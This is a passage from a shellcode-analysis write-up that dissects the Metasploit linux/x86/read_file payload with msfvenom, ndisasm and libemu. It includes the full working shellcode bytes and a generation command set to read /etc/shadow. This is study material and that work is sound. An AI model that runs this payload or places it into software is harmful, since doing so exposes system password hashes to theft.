5.D. linux/x86/read_file

Generating shellcode sample

Again, check the options the MSF payload expects as required parameters. This time we see we need a File Descriptor (FD) and a path the file would to be expected.
The FD is by default 1 for msfvenom, which means the content of the file to be read, will be displayed to screen (STDOUT = 1).

MSF payload requirements

$ msfvenom --list-options -p linux/x86/read_file
Options for payload/linux/x86/read_file:
=========================


       Name: Linux Read File
     Module: payload/linux/x86/read_file
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 62
       Rank: Normal

Provided by:
    hal

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FD    1                yes       The file descriptor to write output to
PATH                   yes       The file path to read

Description:
  Read up to 4096 bytes from the local file system and write it back 
  out to the specified file descriptor

Next step is generating the shellcode with the required options:

Generating shellcode in C

$ msfvenom -p linux/x86/read_file path=/etc/shadow fd=1 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Final size of c file: 331 bytes
unsigned char buf[] = 
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00";

Without newlines:
“\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00”

Creating binary file for later analysis

RAW

$ msfvenom -p linux/x86/read_file path=/etc/shadow fd=1 --platform linux -a x86 R -o msf_linx86_readfile_sample3.bin
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Saved as: msf_linx86_readfile_sample3.bin

C

$ echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00" > msf_linx86_readfile_sample3_alt.bin

Differences between raw output and generated C code

Still doing this exercise just as for the other shellcodes. Result is not very suprising: raw and c are both equally sized and contain a lot of NULL-bytes.

Analyzing with NDISASM

$ echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00" | ndisasm -u -
00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7368              jnc 0xac
00000044  61                popad
00000045  646F              fs outsd
00000047  7700              ja 0x49

Analyzing with libemu

Nothing special going on when using Libemu. Let’s go on for some real work in assembly.

$ sctest -vvv -S -s 10000 -G libemu_msf_linx86_readfile_sample3 < msf_linx86_readfile_sample3.bin
graph file libemu_msf_linx86_readfile_sample3
verbose = 3
[emu 0x0x9c700a0 debug ] cpu state    eip=0x00417000
[emu 0x0x9c700a0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9c700a0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags: 
[emu 0x0x9c700a0 debug ] cpu state    eip=0x00417000
[emu 0x0x9c700a0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9c700a0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags: 
[emu 0x0x9c700a0 debug ] EB36                            jmp 0x38
[emu 0x0x9c700a0 debug ] cpu state    eip=0x00417038
[emu 0x0x9c700a0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9c700a0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags: 
[emu 0x0x9c700a0 debug ] E8C5FFFFFF                      call 0xffffffca
[emu 0x0x9c700a0 debug ] cpu state    eip=0x00417002
[emu 0x0x9c700a0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9c700a0 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags: 
[emu 0x0x9c700a0 debug ] B805000000                      mov eax,0x5
[emu 0x0x9c700a0 debug ] cpu state    eip=0x00417007
[emu 0x0x9c700a0 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9c700a0 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags: 
[emu 0x0x9c700a0 debug ] 5B                              pop ebx
[emu 0x0x9c700a0 debug ] cpu state    eip=0x00417008
[emu 0x0x9c700a0 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x9c700a0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags: 
[emu 0x0x9c700a0 debug ] 31C9                            xor ecx,ecx
[emu 0x0x9c700a0 debug ] cpu state    eip=0x0041700a
[emu 0x0x9c700a0 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x9c700a0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags: PF ZF 
[emu 0x0x9c700a0 debug ] CD80                            int 0x80
stepcount 5
copying vertexes
optimizing graph
vertex 0x9cc63d0
going forwards from 0x9cc63d0
 -> vertex 0x9cc8568
 -> vertex 0x9cc8810
 -> vertex 0x9cc88e0
 -> vertex 0x9cc8a40
copying edges for 0x9cc8a40
vertex 0x9cc8bb8
going forwards from 0x9cc8bb8
copying edges for 0x9cc8bb8
[emu 0x0x9c700a0 debug ] cpu state    eip=0x0041700c
[emu 0x0x9c700a0 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x9c700a0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags: PF ZF 

Recompile shellcode in ASM

Get ASM instructions from ndisasm

$ ndisasm -u msf_linx86_readfile_sample3.bin | awk '{print substr($0, index($0, $3))}'
jmp short 0x38
mov eax,0x5
pop ebx
xor ecx,ecx
int 0x80
mov ebx,eax
mov eax,0x3
mov edi,esp
mov ecx,edi
mov edx,0x1000
int 0x80
mov edx,eax
mov eax,0x4
mov ebx,0x1
int 0x80
mov eax,0x1
mov ebx,0x0
int 0x80
call dword 0x2
das
gs jz 0xa4
das
jnc 0xac
popad
fs outsd
ja 0x49

Append ASM template

$ cp asm_template.asm msf_linx86_readfile_asm_sample3.asm
$ ndisasm -u msf_linx86_readfile_sample3.bin | awk '{print substr($0, index($0, $3))}' >> msf_linx86_readfile_asm_sample3.asm

Compiling ASM file

Copy file for manual modifications

$ cp msf_linx86_readfile_asm_sample3.asm asm_linx86_readfile_sample3.asm